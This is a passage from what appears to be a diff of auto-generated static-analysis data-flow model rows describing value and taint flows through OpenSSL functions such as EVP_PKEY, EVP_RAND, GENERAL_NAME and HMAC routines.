"(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*sign_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_signctx", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*signctx]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_signctx", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*signctx_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verify", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verify", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verify_recover", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify_recover]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verify_recover", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify_recover_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verifyctx", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verifyctx]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verifyctx", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verifyctx_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_new", "(int,int)", "", "Argument[0]", "ReturnValue[*].Field[*pkey_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_new", "(int,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_check", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*check]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_cleanup", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_copy", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*copy]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_ctrl", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_ctrl", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*ctrl_str]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_decrypt", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*decrypt_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_decrypt", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*decrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_derive", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*derive_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_derive", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*derive]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_digest_custom", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*digest_custom]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_digestsign", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*digestsign]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_digestverify", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*digestverify]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_encrypt", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*encrypt_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_encrypt", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_init", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_keygen", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*keygen_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_keygen", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*keygen]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_param_check", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*param_check]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_paramgen", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*paramgen_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_paramgen", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*paramgen]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_public_check", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*public_check]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_sign", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*sign_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_sign", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*sign]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_signctx", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*signctx_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_signctx", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*signctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verify", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verify_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verify", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*verify]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verify_recover", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verify_recover_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verify_recover", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*verify_recover]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verifyctx", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verifyctx_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verifyctx", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*verifyctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_mac_key", "(int,ENGINE *,const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_private_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*save_type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_private_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_private_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_public_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*save_type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_public_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_public_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_paramgen", "(EVP_PKEY_CTX *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_print_params", "(BIO *,const EVP_PKEY *,int,ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_print_private", "(BIO *,const EVP_PKEY *,int,ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_print_public", "(BIO *,const EVP_PKEY *,int,ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_save_parameters", "(EVP_PKEY *,int)", "", "Argument[*0].Field[*save_parameters]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_save_parameters", "(EVP_PKEY *,int)", "", "Argument[1]", "Argument[*0].Field[*save_parameters]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_DH", "(EVP_PKEY *,DH *,dh_st *)", "", "Argument[1]", "Argument[*0].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_DH", "(EVP_PKEY *,DH *,dh_st *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_DSA", "(EVP_PKEY *,DSA *,dsa_st *)", "", "Argument[1]", "Argument[*0].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_DSA", "(EVP_PKEY *,DSA *,dsa_st *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_EC_KEY", "(EVP_PKEY *,EC_KEY *,ec_key_st *)", "", "Argument[1]", "Argument[*0].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_RSA", "(EVP_PKEY *,RSA *,rsa_st *)", "", "Argument[1]", "Argument[*0].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_RSA", "(EVP_PKEY *,RSA *,rsa_st *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_engine", "(EVP_PKEY *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*pmeth_engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set_bn_param", "(EVP_PKEY *,const char *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set_type", "(EVP_PKEY *,int)", "", "Argument[1]", "Argument[*0].Field[*save_type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set_type", "(EVP_PKEY *,int)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set_type_by_keymgmt", "(EVP_PKEY *,EVP_KEYMGMT *)", "", "Argument[1]", "Argument[*0].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_sign", "(EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_sign_message_final", "(EVP_PKEY_CTX *,unsigned char *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_verify_recover", "(EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_Q_mac", "(OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *)", "", "Argument[*9]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_Q_mac", "(OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *)", "", "Argument[9]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_CTX_get0_rand", "(EVP_RAND_CTX *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_CTX_get0_rand", "(EVP_RAND_CTX *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_CTX_new", "(EVP_RAND *,EVP_RAND_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_CTX_new", "(EVP_RAND *,EVP_RAND_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_generate", "(EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_RAND_generate", "(EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_description", "(const EVP_RAND *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_description", "(const EVP_RAND *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_name", "(const EVP_RAND *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_name", "(const EVP_RAND *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_provider", "(const EVP_RAND *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_provider", "(const EVP_RAND *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_names_do_all", "(const EVP_RAND *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_RAND_nonce", "(EVP_RAND_CTX *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_RAND_nonce", "(EVP_RAND_CTX *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_description", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_description", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_name", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_name", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_provider", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_provider", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_names_do_all", "(const EVP_SIGNATURE *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_description", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_description", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_name", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_name", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_provider", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_provider", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_names_do_all", "(const EVP_SKEYMGMT *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_SKEY_get0_skeymgmt_name", "(const EVP_SKEY *)", "", "Argument[*0].Field[**skeymgmt].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEY_get0_skeymgmt_name", "(const EVP_SKEY *)", "", "Argument[*0].Field[**skeymgmt].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEY_to_provider", "(EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_SKEY_to_provider", "(EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SealFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[*5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[6]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SignFinal", "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_SignFinal_ex", "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_VerifyFinal", "(EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_VerifyFinal_ex", "(EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EXTENDED_KEY_USAGE_free", "(EXTENDED_KEY_USAGE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EXTENDED_KEY_USAGE_free", "(EXTENDED_KEY_USAGE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[*0]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[0]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[1]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "GENERAL_NAMES_free", "(GENERAL_NAMES *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAMES_free", "(GENERAL_NAMES *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_cmp", "(GENERAL_NAME *,GENERAL_NAME *)", "", "Argument[*1].Field[*d].Union[**(unnamed class/struct/union)]", "Argument[*1].Field[*d].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_free", "(GENERAL_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_free", "(GENERAL_NAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_get0_value", "(const GENERAL_NAME *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_get0_value", "(const GENERAL_NAME *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_get0_value", "(const GENERAL_NAME *,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_set0_value", "(GENERAL_NAME *,int,void *)", "", "Argument[*2]", "Argument[*0].Field[*d].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_set0_value", "(GENERAL_NAME *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_set0_value", "(GENERAL_NAME *,int,void *)", "", "Argument[2]", "Argument[*0].Field[*d].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "GENERAL_SUBTREE_free", "(GENERAL_SUBTREE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GENERAL_SUBTREE_free", "(GENERAL_SUBTREE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "GOST_KX_MESSAGE_free", "(GOST_KX_MESSAGE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GOST_KX_MESSAGE_free", "(GOST_KX_MESSAGE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "HMAC", "(const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *)", "", "Argument[*5]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "HMAC", "(const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *)", "", "Argument[5]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "HMAC_CTX_copy", "(HMAC_CTX *,HMAC_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "HMAC_CTX_get_md", "(const HMAC_CTX *)", "", "Argument[*0].Field[**md]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "HMAC_CTX_get_md", "(const HMAC_CTX *)", "", "Argument[*0].Field[*md]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "HMAC_CTX_set_flags", "(HMAC_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**i_ctx].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_CTX_set_flags", "(HMAC_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**md_ctx].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_CTX_set_flags", "(HMAC_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**o_ctx].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init", "(HMAC_CTX *,const void *,int,const EVP_MD *)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "HMAC_Init", "(HMAC_CTX *,const void *,int,const EVP_MD *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init", "(HMAC_CTX *,const void *,int,const EVP_MD *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[4]", "Argument[*0].Field[**i_ctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[4]", "Argument[*0].Field[**md_ctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[4]", "Argument[*0].Field[**o_ctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "HMAC_size", "(const HMAC_CTX *)", "", "Argument[*0].Field[**md].Field[*md_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*0]", 